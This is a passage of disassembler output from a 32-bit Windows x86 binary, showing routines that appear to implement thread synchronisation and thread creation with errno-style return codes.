loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103C8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103C8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103C8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_5109A0
		call	near ptr 7C901005h
		nop
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103D0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103D0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103CC
		mov	dword_5103D0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103CC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_5109A0
		call	near ptr 7C9010EDh
		nop


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_5109A0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103CC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103CC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103D0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103D0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_5109A0
		call	near ptr 7C9010EDh
		nop
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 7EE44FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		call	near ptr 2770000h
		nop


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313CD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103C4
		push	esi
